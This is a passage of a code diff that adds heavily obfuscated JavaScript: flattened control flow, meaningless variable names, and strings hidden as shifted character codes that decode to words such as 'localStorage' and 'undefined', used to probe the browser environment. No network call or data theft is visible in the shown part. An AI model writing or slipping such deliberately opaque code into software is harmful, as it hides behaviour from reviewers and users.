_$f + _$n; + _$nH = _$Qv; + _$Wv = function(_$a, _$e) { + var _$r = _$KA; + var _$c = _$DA; + var _$v, _$s, _$n, _$f, _$t, _$i, _$o, _$k, _$b, _$l, _$h, _$g, _$u, _$p; + for (_$v = 0; _$v < _$a.length; _$v++) { + _$s = _$a; + _$n = _$v; + _$f = _$s[_$n]; + _$t = _$e; + _$i = _$f === _$t; + if (_$i) { + _$s = _$v; + return _$s + } + } + _$s = []; + _$o = _$s; + _$n = _$c + _$r; + _$k = _$n; + for (_$b = _$k.length - 1; _$b >= 0; _$b--) { + _$s = _$o; + _$n = _$LC; + _$f = _$k; + _$t = _$_C; + _$i = _$b; + _$l = _$f[_$t](_$i); + _$s[_$n](_$l) + } + _$s = _$o; + _$n = _$RC; + _$f = _$BC; + _$t = _$s[_$n](_$f); + _$o = _$t; + _$s = _$k; + _$n = _$_C; + _$f = 5; + _$t = _$s[_$n](_$f); + _$i = _$o; + _$l = _$_C; + _$h = 4; + _$g = _$i[_$l](_$h); + _$u = _$t > _$g; + if (_$u) { + _$s = _$k; + _$n = _$EC; + _$f = _$s + _$n; + _$k = _$f + } + _$s = _$o; + _$n = _$k; + _$f = _$s + _$n; + _$p = _$f; + _$s = []; + _$k = _$s; + for (_$b = _$k.length - 1; _$b >= 4; _$b--) { + _$s = _$k; + _$n = _$LC; + _$f = _$p; + _$t = _$_C; + _$i = _$b; + _$l = _$f[_$t](_$i); + _$s[_$n](_$l) + } + _$s = _$k; + _$n = _$RC; + _$f = _$BC; + _$t = _$s[_$n](_$f); + _$k = _$t; + _$s = _$zC; + _$k += _$s; + _$s = _$ZC; + _$k += _$s; + _$s = _$_C; + _$k += _$s; + _$s = _$zC; + _$k += _$s; + _$s = _$p; + _$o = _$s; + _$s = _$k; + _$p = _$s; + _$s = _$k; + _$n = _$_C; + _$f = 5; + _$t = _$s[_$n](_$f); + _$i = _$o; + _$l = _$_C; + _$h = 7; + _$g = _$i[_$l](_$h); + _$u = _$t > _$g; + if (_$u) { + _$s = _$k; + _$n = _$NC; + _$f = _$s + _$n; + _$k = _$f + } + _$s = _$GC; + _$o += _$s; + _$s = 1; + _$n = -_$s; + return _$n + } + ; + _$fH = _$Wv; + _$Yv = _$ae + _$a + _$c + _$e + _$v + _$r + _$Xa; + _$tH = _$Yv; + _$Ov = _$tH; + _$Pv = _$PC; + _$Gv = _$Ov[_$Pv]; + _$iH = _$Gv; + _$Zv = 0; + _$gH = _$Zv; + _$Qv = []; + _$uH = _$Qv; + _$Qv = _$nH; + _$Wv = _$PC; + _$Yv = _$Qv[_$Wv]; + _$Ov = 4; + _$Pv = _$Yv / _$Ov; + _$oH = _$Pv; + for (_$pH = 0; _$pH < _$oH; _$pH++) { + _$Qv = _$tH; + _$Wv = _$nH; + _$Yv = _$_C; + _$Ov = _$gH; + _$Pv = _$Wv[_$Yv](_$Ov); + _$Gv = _$fH(_$Qv, _$Pv); + _$hH = _$Gv; + _$gH++; + _$Qv = _$tH; + _$Wv = _$nH; + _$Yv = _$_C; + _$Ov = _$gH; + _$Pv = _$Wv[_$Yv](_$Ov); + _$Gv = _$fH(_$Qv, _$Pv); + _$lH = _$Gv; + _$gH++; + _$Qv = _$tH; + _$Wv = _$nH; + _$Yv = _$_C; + _$Ov = _$gH; + _$Pv = _$Wv[_$Yv](_$Ov); + _$Gv = _$fH(_$Qv, _$Pv); + _$bH = _$Gv; + _$gH++; + _$Qv = _$tH; + _$Wv = _$nH; + _$Yv = _$_C; + _$Ov = _$gH; + _$Pv = _$Wv[_$Yv](_$Ov); + _$Gv = _$fH(_$Qv, _$Pv); + _$kH = _$Gv; + _$gH++; + _$Qv = _$uH; + _$Wv = _$pH; + _$Yv = _$hH; + _$Ov = _$iH; + _$Pv = _$Yv * _$Ov; + _$Gv = _$iH; + _$Zv = _$Pv * _$Gv; + _$Ev = _$iH; + _$_v = _$Zv * _$Ev; + _$Vv = _$lH; + _$qv = _$iH; + _$Hv = _$Vv * _$qv; + _$xv = _$iH; + _$Bv = _$Hv * _$xv; + _$Xv = _$_v + _$Bv; + _$Fv = _$bH; + _$$v = _$iH; + _$es = _$Fv * _$$v; + _$ts = _$Xv + _$es; + _$ds = _$kH; + _$Ms = _$ts + _$ds; + _$Qv[_$Wv] = _$Ms + } + _$Qv = _$BC; + _$oH = _$Qv; + for (_$yH = 0; _$yH < _$uH.length; _$yH++) { + _$Qv = _$uH; + _$Wv = _$yH; + _$Yv = _$Qv[_$Wv]; + _$Ov = _$bW(_$Yv); + _$oH += _$Ov + } + _$Qv = _$BW; + _$Wv = _$vH; + _$Yv = typeof _$Qv[_$Wv]; + _$Ov = _$oH; + _$Pv = _$Yv === _$Ov; + _$wH = _$Pv; + _$Qv = _$eH; + _$Wv = _$PC; + _$Yv = _$Qv[_$Wv]; + _$Ov = 10; + _$Pv = _$Yv > _$Ov; + _$Gv = _$Pv; + if (_$Gv) { + _$ks = _$aH; + _$Ns = 2; + _$Hs = _$ks[_$Ns]; + _$xs = 20; + _$Gv = _$Hs < _$xs + } + if (_$Gv) { + _$Qv = _$Rb; + _$dH = _$Qv; + _$Wv = _$dH; + _$Yv = _$OC; + _$Ov = 0; + _$Pv = _$Wv[_$Yv](_$Ov); + _$Gv = _$dH; + _$Zv = _$PC; + _$Ev = _$Gv[_$Zv]; + _$_v = _$Pv - _$Ev; + _$Vv = _$bW(_$_v); + _$MH = _$Vv; + for (_$IH = 1; _$IH < _$dH.length; _$IH++) { + _$Qv = _$dH; + _$Wv = _$OC; + _$Yv = _$IH; + _$Ov = _$Qv[_$Wv](_$Yv); + _$Pv = _$MH; + _$Gv = _$OC; + _$Zv = _$IH; + _$Ev = 1; + _$_v = _$Zv - _$Ev; + _$Vv = _$Pv[_$Gv](_$_v); + _$qv = _$Ov - _$Vv; + _$Hv = _$bW(_$qv); + _$MH += _$Hv + } + _$Qv = _$MH; + _$Jq = _$Qv + } + _$Qv = _$eH; + _$Wv = _$PC; + _$Yv = _$Qv[_$Wv]; + _$Ov = 10; + _$Pv = _$Yv > _$Ov; + if (_$Pv) { + _$Qv = _$rH; + _$Wv = _$Jq; + _$Yv = _$Qv[_$Wv]; + _$$q = _$Yv + } + _$Qv = _$$q; + if (_$Qv) { + _$Qv = _$yY; + _$Wv = _$LC; + _$Yv = 23; + _$Ov = _$MY; + _$Pv = _$qq++; + _$Gv = _$Ov[_$Pv]; + _$Zv = _$Yv ^ _$Gv; + _$Qv[_$Wv](_$Zv) + } + _$Qv = _$$q; + _$Wv = !_$Qv; + if (_$Wv) { + _$Qv = _$yY; + _$Wv = _$LC; + _$Yv = 94; + _$Ov = _$MY; + _$Pv = _$qq++; + _$Gv = _$Ov[_$Pv]; + _$Zv = _$Yv ^ _$Gv; + _$Qv[_$Wv](_$Zv) + } + _$Qv = _$yY; + _$DW = _$Qv; + _$Qv = _$LY; + _$AH = _$Qv; + _$Wv = _$DW; + _$SH = _$Wv; + _$Yv = _$AH; + _$Ov = _$PC; + _$Pv = _$Yv[_$Ov]; + _$Gv = 1; + _$Zv = _$Pv - _$Gv; + _$mH = _$Zv; + _$Ev = _$SH; + _$_v = _$PC; + _$Vv = _$Ev[_$_v]; + _$qv = 1; + _$Hv = _$Vv - _$qv; + _$TH = _$Hv; + _$xv = []; + _$jH = _$xv; + _$Qv = []; + _$UW = _$Qv; + for (_$CH = 0; _$CH <= _$mH; _$CH++) { + _$Qv = _$UW; + _$Wv = _$LC; + _$Yv = _$AH; + _$Ov = _$CH; + _$Pv = _$Yv[_$Ov]; + _$Qv[_$Wv](_$Pv); + _$Qv = _$jH; + _$Wv = _$CH; + _$Yv = Array; + _$Ov = new _$Yv; + _$Qv[_$Wv] = _$Ov; + for (_$DH = 0; _$DH <= _$TH; _$DH++) { + _$Qv = _$CH; + _$Wv = 0; + _$Yv = _$Qv == _$Wv; + if (_$Yv) { + _$Qv = _$jH; + _$Wv = _$CH; + _$Yv = _$Qv[_$Wv]; + _$Ov = _$DH; + _$Pv = _$DH; + _$Yv[_$Ov] = _$Pv; + _$Qv = _$CH; + _$Wv = _$mH; + _$Yv = _$Qv == _$Wv; + if (_$Yv) { + _$Qv = _$UW; + _$Wv = _$LC; + _$Yv = _$SH; + _$Ov = _$DH; + _$Pv = _$Yv[_$Ov]; + _$Qv[_$Wv](_$Pv) + } + } else { + _$Qv = _$DH; + _$Wv = 0; + _$Yv = _$Qv == _$Wv; + if (_$Yv) { + _$Qv = _$jH; + _$Wv = _$CH; + _$Yv = _$Qv[_$Wv]; + _$Ov = _$DH; + _$Pv = _$CH; + _$Yv[_$Ov] = _$Pv; + _$Qv = _$CH; + _$Wv = _$mH; + _$Yv = _$Qv == _$Wv; + if (_$Yv) { + _$Qv = _$UW; + _$Wv = _$LC; + _$Yv = _$TH; + _$Ov = 1; + _$Pv = _$Yv + _$Ov; + _$Qv[_$Wv](_$Pv); + _$Qv = _$UW; + _$Wv = _$LC; + _$Yv = _$SH; + _$Ov = _$DH; + _$Pv = _$Yv[_$Ov]; + _$Qv[_$Wv](_$Pv) + } + } else { + _$Qv = _$CH; + _$Wv = _$mH; + _$Yv = _$Qv == _$Wv; + if (_$Yv) { + _$Qv = _$UW; + _$Wv = _$LC; + _$Yv = _$SH; + _$Ov = _$DH; + _$Pv = _$Yv[_$Ov]; + _$Qv[_$Wv](_$Pv) + } + _$Qv = 0; + _$KH = _$Qv; + _$Qv = _$AH; + _$Wv = _$CH; + _$Yv = 1; + _$Ov = _$Wv - _$Yv; + _$Pv = _$Qv[_$Ov]; + _$Gv = _$SH; + _$Zv = _$DH; + _$Ev = 1; + _$_v = _$Zv - _$Ev; + _$Vv = _$Gv[_$_v]; + _$qv = _$Pv != _$Vv; + if (_$qv) { + _$Qv = 1; + _$KH = _$Qv + } + _$Qv = _$jH; + _$Wv = _$CH; + _$Yv = 1; + _$Ov = _$Wv - _$Yv; + _$Pv = _$Qv[_$Ov]; + _$Gv = _$DH; + _$Zv = 1; + _$Ev = _$Gv - _$Zv; + _$_v = _$Pv[_$Ev]; + _$Vv = _$KH; + _$qv = _$_v + _$Vv; + _$QH = _$qv; + _$Hv = _$Eb; + _$WH = _$Hv; + _$xv = 1; + _$YH = _$xv; + _$Qv = _$YH; + _$Wv = 1; + _$Yv = _$Qv + _$Wv; + _$YH = _$Yv; + _$Qv = 1; + _$WH = _$Qv; + _$Qv = _$BC; + _$UH = _$Qv; + _$Qv = _$YH; + _$WH = _$Qv; + _$Qv = 1744; + _$Wv = 1680; + _$Yv = 1760; + _$Ov = [_$Qv, _$Wv, _$Yv]; + _$YH = _$Ov; + for (_$OH = 0; _$OH < _$YH.length; _$OH++) { + _$Qv = _$UH; + _$Wv = _$YH; + _$Yv = _$OH; + _$Ov = _$Wv[_$Yv]; + _$Pv = 4; + _$Gv = _$Ov >> _$Pv; + _$Zv = _$bW(_$Gv); + _$Ev = _$Qv + _$Zv; + _$UH = _$Ev + } + _$Qv = _$YH; + _$Wv = _$LC; + _$Yv = _$WH; + _$Ov = _$Qv[_$Wv](_$Yv); + _$YH = _$Ov; + _$Qv = _$jH; + _$Wv = _$CH; + _$Yv = _$Qv[_$Wv]; + _$Ov = _$DH; + _$Pv = Math; + _$Gv = _$UH; + _$Zv = _$jH; + _$Ev = _$CH; + _$_v = 1; + _$Vv = _$Ev - _$_v; + _$qv = _$Zv[_$Vv]; + _$Hv = _$DH; + _$xv = _$qv[_$Hv]; + _$Bv = 1; + _$Xv = _$xv + _$Bv; + _$Fv = _$jH; + _$$v = _$CH; + _$es = _$Fv[_$$v]; + _$ts = _$DH; + _$ds = 1; + _$Ms = _$ts - _$ds; + _$Is = _$es[_$Ms]; + _$As = 1; + _$Ss = _$Is + _$As; + _$Yn = _$QH; + _$Un = _$Pv[_$Gv](_$Xv, _$Ss, _$Yn); + _$Yv[_$Ov] = _$Un + } + } + } + } + _$Qv = 2; + _$Wv = 1; + _$Yv = 5; + _$Ov = 6; + _$Pv = 2; + _$Gv = 3; + _$Zv = [_$Qv, _$Wv, _$Yv, _$Ov, _$Pv, _$Gv]; + _$PH = _$Zv; + _$Ev = 0; + _$GH = _$Ev; + _$_v = _$PH; + _$Vv = _$PC; + _$qv = _$_v[_$Vv]; + _$NH = _$qv; + _$Hv = Array; + _$xv = _$NH; + _$Bv = new _$Hv(_$xv); + _$ZH = _$Bv; + _$Qv = _$ZH; + _$Wv = 0; + _$Yv = 1; + _$Ov = -_$Yv; + _$Qv[_$Wv] = _$Ov; + _$Qv = Array; + _$Wv = _$NH; + _$Yv = new _$Qv(_$Wv); + _$zH = _$Yv; + _$Qv = _$zH; + _$Wv = _$NH; + _$Yv = 1; + _$Ov = _$Wv - _$Yv; + _$Pv = _$NH; + _$Qv[_$Ov] = _$Pv; + for (_$EH = 1; _$EH < _$NH; _$EH++) { + _$Qv = _$EH; + _$Wv = 1; + _$Yv = _$Qv - _$Wv; + _$RH = _$Yv; + while (_$RH >= 0 && _$PH[_$RH] >= _$PH[_$EH]) { + _$Qv = _$ZH; + _$Wv = _$RH; + _$Yv = _$Qv[_$Wv]; + _$RH = _$Yv + } + _$Qv = _$ZH; + _$Wv = _$EH; + _$Yv = _$RH; + _$Qv[_$Wv] = _$Yv + } + _$AU(); + for (_$EH = _$NH - 2; _$EH >= 0; _$EH--) { + _$Qv = _$EH; + _$Wv = 1; + _$Yv = _$Qv + _$Wv; + _$RH = _$Yv; + while (_$RH < _$NH && _$PH[_$RH] >= _$PH[_$EH]) { + _$Qv = _$zH; + _$Wv = _$RH; + _$Yv = _$Qv[_$Wv]; + _$RH = _$Yv + } + _$Qv = _$zH; + _$Wv = _$EH; + _$Yv = _$RH; + _$Qv[_$Wv] = _$Yv + } + _$Qv = _$zb; + _$_H = _$Qv; + _$Wv = 1; + _$LH = _$Wv; + _$Qv = _$LH; + _$Wv = 1; + _$Yv = _$Qv + _$Wv; + _$LH = _$Yv; + _$Qv = 1; + _$_H = _$Qv; + _$Qv = _$BC; + _$VH = _$Qv; + _$Qv = _$LH; + _$_H = _$Qv; + _$Qv = 222; + _$Wv = 196; + _$Yv = 212; + _$Ov = 202; + _$Pv = 198; + _$Gv = 232; + _$Zv = [_$Qv, _$Wv, _$Yv, _$Ov, _$Pv, _$Gv]; + _$LH = _$Zv; + for (_$qH = 0; _$qH < _$LH.length; _$qH++) { + _$Qv = _$VH; + _$Wv = _$LH; + _$Yv = _$qH; + _$Ov = _$Wv[_$Yv]; + _$Pv = 1; + _$Gv = _$Ov >> _$Pv; + _$Zv = _$bW(_$Gv); + _$Ev = _$Qv + _$Zv; + _$VH = _$Ev + } + _$Qv = _$LH; + _$Wv = _$LC; + _$Yv = _$_H; + _$Ov = _$Qv[_$Wv](_$Yv); + _$LH = _$Ov; + _$Qv = _$Zb; + _$HH = _$Qv; + _$Wv = 1; + _$xH = _$Wv; + _$Qv = _$xH; + _$Wv = 1; + _$Yv = _$Qv + _$Wv; + _$xH = _$Yv; + _$Qv = 1; + _$HH = _$Qv; + _$Qv = _$BC; + _$BH = _$Qv; + _$Qv = _$xH; + _$HH = _$Qv; + _$Qv = 1728; + _$Wv = 1776; + _$Yv = 1584; + _$Ov = 1552; + _$Pv = 1728; + _$Gv = 1328; + _$Zv = 1856; + _$Ev = 1776; + _$_v = 1824; + _$Vv = 1552; + _$qv = 1648; + _$Hv = 1616; + _$xv = [_$Qv, _$Wv, _$Yv, _$Ov, _$Pv, _$Gv, _$Zv, _$Ev, _$_v, _$Vv, _$qv, _$Hv]; + _$xH = _$xv; + for (_$XH = 0; _$XH < _$xH.length; _$XH++) { + _$Qv = _$BH; + _$Wv = _$xH; + _$Yv = _$XH; + _$Ov = _$Wv[_$Yv]; + _$Pv = 4; + _$Gv = _$Ov >> _$Pv; + _$Zv = _$bW(_$Gv); + _$Ev = _$Qv + _$Zv; + _$BH = _$Ev + } + _$Qv = _$xH; + _$Wv = _$LC; + _$Yv = _$HH; + _$Ov = _$Qv[_$Wv](_$Yv); + _$xH = _$Ov; + _$Qv = _$BW; + _$Wv = _$BH; + _$Yv = typeof _$Qv[_$Wv]; + _$Ov = _$VH; + _$Pv = _$Yv === _$Ov; + _$FH = _$Pv; + for (_$EH = 0; _$EH < _$NH; _$EH++) { + _$Qv = _$Nb; + _$JH = _$Qv; + _$Wv = 1; + _$$H = _$Wv; + _$Qv = _$$H; + _$Wv = 1; + _$Yv = _$Qv + _$Wv; + _$$H = _$Yv; + _$Qv = 1; + _$JH = _$Qv; + _$Qv = _$BC; + _$ax = _$Qv; + _$Qv = _$$H; + _$JH = _$Qv; + _$Qv = 3571712; + _$Wv = 3178496; + _$Yv = 3932160; + _$Ov = [_$Qv, _$Wv, _$Yv]; + _$$H = _$Ov; + for (_$ex = 0; _$ex < _$$H.length; _$ex++) { + _$Qv = _$ax; + _$Wv = _$$H; + _$Yv = _$ex; + _$Ov = _$Wv[_$Yv]; + _$Pv = 15; + _$Gv = _$Ov >> _$Pv; + _$Zv = _$bW(_$Gv); + _$Ev = _$Qv + _$Zv; + _$ax = _$Ev + } + _$Qv = _$$H; + _$Wv = _$LC; + _$Yv = _$JH; + _$Ov = _$Qv[_$Wv](_$Yv); + _$$H = _$Ov; + _$Qv = Math; + _$Wv = _$ax; + _$Yv = _$GH; + _$Ov = _$zH; + _$Pv = _$EH; + _$Gv = _$Ov[_$Pv]; + _$Zv = _$ZH; + _$Ev = _$EH; + _$_v = _$Zv[_$Ev]; + _$Vv = _$Gv - _$_v; + _$qv = 1; + _$Hv = _$Vv - _$qv; + _$xv = _$PH; + _$Bv = _$EH; + _$Xv = _$xv[_$Bv]; + _$Fv = _$Hv * _$Xv; + _$$v = _$Qv[_$Wv](_$Yv, _$Fv); + _$GH = _$$v + } + _$Qv = _$GH; + _$rx = _$Qv; + while (true) { + _$Qv = _$zv; + _$Wv = _$PC; + _$Yv = _$Qv[_$Wv]; + _$Ov = _$ss; + _$Pv = _$Yv === _$Ov; + if (_$Pv) { + _$Qv = _$Jv; + _$Wv = 2; + _$Yv = _$Qv % _$Wv; + _$Ov = 1; + _$Pv = _$Yv === _$Ov; + if (_$Pv) { + _$Qv = _$zv; + _$Wv = _$ss; + _$Yv = 1; + _$Ov = _$Wv - _$Yv; + _$Pv = _$Qv[_$Ov]; + return _$Pv + } else { + _$Qv = _$zv; + _$Wv = _$ss; + _$Yv = 1; + _$Ov = _$Wv - _$Yv; + _$Pv = _$Qv[_$Ov]; + _$Gv = _$zv; + _$Zv = _$ss; + _$Ev = 2; + _$_v = _$Zv - _$Ev; + _$Vv = _$Gv[_$_v]; + _$qv = _$Pv + _$Vv; + _$Hv = 2; + _$xv = _$qv / _$Hv; + return _$xv + } + } + _$Qv = _$Rv; + _$Wv = _$Uv; + _$Yv = _$PC; + _$Ov = _$Wv[_$Yv]; + _$Pv = _$Qv < _$Ov; + _$Gv = _$Pv; + if (_$Gv) { + _$ks = _$Lv; + _$Ns = _$Nv; + _$Hs = _$PC; + _$xs = _$Ns[_$Hs]; + _$Gv = _$ks === _$xs + } + if (_$Gv) { + _$Qv = _$zv; + _$Wv = _$LC; + _$Yv = _$Uv; + _$Ov = _$Rv; + _$Pv = _$Yv[_$Ov]; + _$Qv[_$Wv](_$Pv); + _$Rv++; + continue + } + _$Qv = _$Rv; + _$Wv = _$Uv; + _$Yv = _$PC; + _$Ov = _$Wv[_$Yv]; + _$Pv = _$Qv === _$Ov; + _$Gv = _$Pv; + if (_$Gv) { + _$ks = _$Lv; + _$Ns = _$Nv; + _$Hs = _$PC; + _$xs = _$Ns[_$Hs]; + _$Gv = _$ks < _$xs + } + if (_$Gv) { + _$Qv = _$zv; + _$Wv = _$LC; + _$Yv = _$Nv; + _$Ov = _$Lv; + _$Pv = _$Yv[_$Ov]; + _$Qv[_$Wv](_$Pv); + _$Lv++; + continue + } + _$Qv = _$Uv; + _$Wv = _$Rv; + _$Yv = _$Qv[_$Wv]; + _$Ov = _$Nv; + _$Pv = _$Lv; + _$Gv = _$Ov[_$Pv]; + _$Zv = _$Yv < _$Gv; + if (_$Zv) { + _$Qv = _$zv; + _$Wv = _$LC; + _$Yv = _$Uv; + _$Ov = _$Rv; + _$Pv = _$Yv[_$Ov]; + _$Qv[_$Wv](_$Pv); + _$Rv++; + continue + } else { + _$Qv = _$zv; + _$Wv = _$LC; + _$Yv = _$Nv; + _$Ov = _$Lv; + _$Pv = _$Yv[_$Ov]; + _$Qv[_$Wv](_$Pv); + _$Lv++; + continue + } + } + } + function _$sU() { + var _$a, _$e, _$r, _$c, _$v, _$s, _$n, _$f, _$t, _$i, _$o, _$k, _$b, _$l, _$h, _$g, _$u, _$p, _$y, _$w, _$d, _$M, _$I, _$A, _$S, _$m, _$T, _$j; + _$a = 0; + _$e = _$a; + _$r = 3; + _$c = 2; + _$v = 10; + _$s = 13; + _$n = 14; + _$f = 9; + _$t = 11; + _$i = 17; + _$o = 18; + _$k = 21; + _$b = 6; + _$l = 4; + _$h = [_$r, _$c, _$v, _$s, _$n, _$f, _$t, _$i, _$o, _$k, _$b, _$l]; + _$g = _$h; + while (!![]) { + switch (_$g[_$e++]) { + case 1: + if (_$w + _$M > 0) { + _$a = _$d; + _$r = 4; + _$c = _$w; + _$v = _$r + _$c; + _$s = _$a >> _$v; + _$n = 3; + _$f = _$w; + _$t = _$n * _$f; + _$i = _$d; + _$o = _$t + _$i; + _$k = _$s >> _$o; + _$b = 2; + _$l = _$k << _$b; + _$M = _$l + } + break; + case 2: + if (_$y + _$w > 0) { + _$a = _$d; + _$r = 3; + _$c = _$a >> _$r; + _$M = _$c; + _$a = _$w; + _$r = _$M; + _$c = _$a + _$r; + _$M = _$c; + _$a = _$y; + _$r = _$d; + _$c = _$M; + _$v = _$r * _$c; + _$s = _$a >> _$v; + _$n = _$y; + _$f = _$s >> _$n; + _$w = _$f; + _$a = _$w; + _$r = _$M; + _$c = _$a / _$r; + _$M = _$c + } + break; + case 3: + _$u = _$Gb; + _$p = 1; + _$y = 1; + _$w = -1; + _$d = 2; + _$M = 0; + break; + case 4: + _$u = _$p; + break; + case 5: + if (_$d + _$M < 0) { + _$a = _$y; + _$r = _$d; + _$c = _$M; + _$v = _$r * _$c; + _$s = _$a << _$v; + _$n = _$y; + _$f = _$s >> _$n; + _$w = _$f + } + break; + case 6: + if (_$d < 0) { + _$a = _$w; + _$r = _$y; + _$c = _$M; + _$v = _$r / _$c; + _$s = _$a >> _$v; + _$n = _$y; + _$f = _$s >> _$n; + _$d = _$f + } + break; + case 7: + _$I = _$j; + _$A = typeof window == _$I ? {} : window; + break; + case 8: + _$p = _$p.p(_$u); + break; + case 9: + _$u = 1; + break; + case 10: + _$p = _$p + 1; + _$S = _$g.p; + break; + case 11: + if (_$y + _$w + _$y > 0) { + _$a = _$y; + _$r = _$d; + _$c = _$M; + _$v = _$r + _$c; + _$s = _$a >> _$v; + _$n = _$y; + _$f = _$s >> _$n; + _$w = _$f; + _$a = _$w; + _$r = _$M; + _$c = _$a + _$r; + _$M = _$c + } + _$m = [5, 22, 19, 16, 15, 12, 1, 8, 7, 20]; + break; + case 12: + for (_$T = 0; _$T < _$p.length; _$T++) { + _$a = _$j; + _$r = _$p; + _$c = _$T; + _$v = _$r[_$c]; + _$s = 3; + _$n = _$v >> _$s; + _$f = _$bW(_$n); + _$t = _$a + _$f; + _$j = _$t + } + break; + case 13: + if (_$y && !_$w) { + _$a = _$d; + _$r = 3; + _$c = _$a % _$r; + _$M = _$c; + _$a = _$w; + _$r = _$M; + _$c = _$a + _$r; + _$M = _$c + } + break; + case 14: + _$w = -5; + break; + case 15: + if (!_$y) { + _$a = 5; + _$r = _$d; + _$c = _$a + _$r; + _$v = 3; + _$s = _$c >> _$v; + _$y = _$s + } + break; + case 16: + if (!_$w) { + _$a = _$d; + _$r = 2; + _$c = _$w; + _$v = _$r + _$c; + _$s = _$y; + _$n = _$v - _$s; + _$f = _$a << _$n; + _$d = _$f + } + break; + case 17: + if (_$w + _$d > 0) { + _$a = _$w; + _$r = _$M; + _$c = _$a + _$r; + _$M = _$c; + _$a = _$w; + _$r = _$M; + _$c = _$a - _$r; + _$d = _$c + } + break; + case 18: + _$j = _$BC; + break; + case 19: + _$p = [936, 880, 800, 808, 816, 840, 880, 808, 800]; + break; + case 20: + _$CY = _$A, + _$QW = _$A, + _$YY = _$A, + _$UY = _$A, + _$JW = _$A, + _$gW = _$A, + _$TY = _$A, + _$KW = _$A, + _$VY = _$A, + _$DW = _$A, + _$HY = _$A, + _$UW = _$A, + _$NW = _$A, + _$cY = _$A, + _$oY = _$A, + _$PW = _$A, + _$TW = _$A, + _$LY = _$A, + _$zW = _$A, + _$AY = _$A, + _$tY = _$A, + _$$W = _$A, + _$ZY = _$A, + _$YW = _$A, + _$lW = _$A, + _$SY = _$A, + _$NY = _$A, + _$bY = _$A, + _$gY = _$A, + _$DY = _$A, + _$LW = _$A, + _$kY = _$A, + _$VW = _$A, + _$CW = _$A, + _$mY = _$A, + _$yW = _$A, + _$uW = _$A, + _$RY = _$A, + _$lY = _$A, + _$qW = _$A, + _$pY = _$A, + _$iY = _$A, + _$zY = _$A, + _$wW = _$A, + _$hW = _$A, + _$XW = _$A, + _$QY = _$A, + _$qY = _$A, + _$GW = _$A, + _$jW = _$A, + _$KY = _$A, + _$OY = _$A, + _$_W = _$A, + _$SW = _$A, + _$FW = _$A, + _$sY = _$A, + _$uY = _$A, + _$xY = _$A, + _$OW = _$A, + _$PY = _$A, + _$mW = _$A, + _$hY = _$A, + _$dW = _$A, + _$EY = _$A, + _$jY = _$A, + _$vY = _$A, + _$ZW = _$A, + _$yY = _$A, + _$MW = _$A, + _$WY = _$A, + _$rY = _$A, + _$aY = _$A, + _$IW = _$A, + _$RW = _$A, + _$fY = _$A, + _$dY = _$A, + _$pW = _$A, + _$wY = _$A, + _$eY = _$A, + _$GY = _$A, + _$WW = _$A, + _$_Y = _$A, + _$IY = _$A, + _$nY = _$A, + _$MY = _$A, + _$BW = _$A, + _$HW = _$A, + _$AW = _$A, + _$xW = _$A, + _$EW = _$A; + return; + case 21: + if (_$y + _$M < _$w) { + _$a = _$y; + _$r = _$d; + _$c = _$M; + _$v = _$r + _$c; + _$s = _$a >> _$v; + _$n = _$y; + _$f = _$w; + _$t = _$n - _$f; + _$i = _$s >> _$t; + _$o = _$M; + _$k = _$i >> _$o; + _$M = _$k + } + _$S.apply(_$g, _$m); + break; + case 22: + if (_$w + _$d > 0) { + _$a = _$d; + _$r = 2; + _$c = _$a << _$r; + _$d = _$c; + _$a = _$d; + _$r = _$M; + _$c = _$M; + _$v = _$r + _$c; + _$s = _$a >> _$v; + _$n = _$y; + _$f = _$s >> _$n; + _$w = _$f; + _$a = _$w; + _$r = _$M; + _$c = _$a / _$r; + _$M = _$c + } + break + } + } + } + function _$nU(_$a, _$e) { + var _$r = _$Am; + var _$c = _$Jj; + var _$v = _$Pb; + var _$s = _$Ob; + var _$n = _$Bj; + var _$f = _$vC; + var _$t = _$Xj; + var _$i = _$vy; + var _$o = _$Km; + var _$k = _$Qm; + var _$b = _$mm; + var _$l = _$nm; + var _$h = _$Ub; + var _$g = _$$j; + var _$u = _$WQ; + var _$p = _$Yj; + var _$y = _$Yb; + var _$w = _$Cj; + var _$d = _$Wm; + var _$M = _$Dj; + var _$I = _$JD; + var _$A = _$mA; + var _$S = _$lQ; + var _$m = _$Wb; + var _$T = _$Qb; + var _$j = _$Kb; + var _$C = _$aK; + var _$D = _$BD; + var _$K = _$qD; + var _$Q = _$Db; + var _$W = _$QQ; + var _$Y = _$Cb; + var _$U = _$jb; + var _$O = _$Dm; + var _$P = _$Ay; + var _$G = _$Tb; + var _$N = _$mb; + var _$Z = _$Sb; + var _$z = _$Ab; + var _$E = _$Ib; + var _$R = _$Mb; + var _$_ = _$db; + var _$L = _$wb; + var _$V = _$yb; + var _$q = _$pb; + var _$H = _$ub; + var _$x = _$gb; + var _$B = _$hb; + var _$X = _$lb; + var _$F = _$bb; + var _$J = _$kb; + var _$$ = _$ob; + var _$aa = _$ib; + var _$ea = _$tb; + var _$ra = _$fb; + var _$ca = _$nb; + var _$va = _$sb; + var _$sa = _$vb; + var _$na = _$cb; + var _$fa = _$rb; + var _$ta = _$eb; + var _$ia = _$ab; + var _$oa = _$$k; + var _$ka = _$Jk; + var _$ba = _$Fk; + var _$la = _$Xk; + var _$ha = _$Bk; + var _$ga = _$xk; + var _$ua = _$Hk; + var _$pa = _$qk; + var _$ya = _$Vk; + var _$wa = _$Lk; + var _$da = _$_k; + var _$Ma = _$Rk; + var _$Ia = _$Ek; + var _$Aa = _$zk; + var _$Sa = _$Zk; + var _$ma = _$Nk; + var _$Ta = _$Gk; + var _$ja = _$Pk; + var _$Ca = _$Ok; + var _$Da = _$Uk; + var _$Ka = _$Yk; + var _$Qa = _$Wk; + var _$Wa = _$Qk; + var _$Ya = _$Kk; + var _$Ua = _$Dk; + var _$Oa = _$Ck; + var _$Pa = _$jk; + var _$Ga = _$Tk; + var _$Na = _$mk; + var _$Za = _$Sk; + var _$za = _$Ak; + var _$Ea = _$Ik; + var _$Ra = _$Mk; + var _$_a = _$dk; + var _$La = _$wk; + var _$Va = _$yk; + var _$qa = _$pk; + var _$Ha = _$uk; + var _$xa = _$gk; + var _$Ba = _$hk; + var _$Xa = _$lk; + var _$Fa = _$bk; + var _$Ja = _$kk; + var _$$a = _$ok; + var _$ae = _$ik; + var _$ee = _$tk; + var _$re = _$fk; + var _$ce = _$nk; + var _$ve = _$sk; + var _$se = _$vk; + var _$ne = _$mC; + var _$fe = _$SC; + var _$te = _$FS; + var _$ie = _$XS; + var _$oe, _$ke, _$be, _$le, _$he, _$ge, _$ue, _$pe, _$ye, _$we, _$de, _$Me, _$Ie, _$Ae, _$Se, 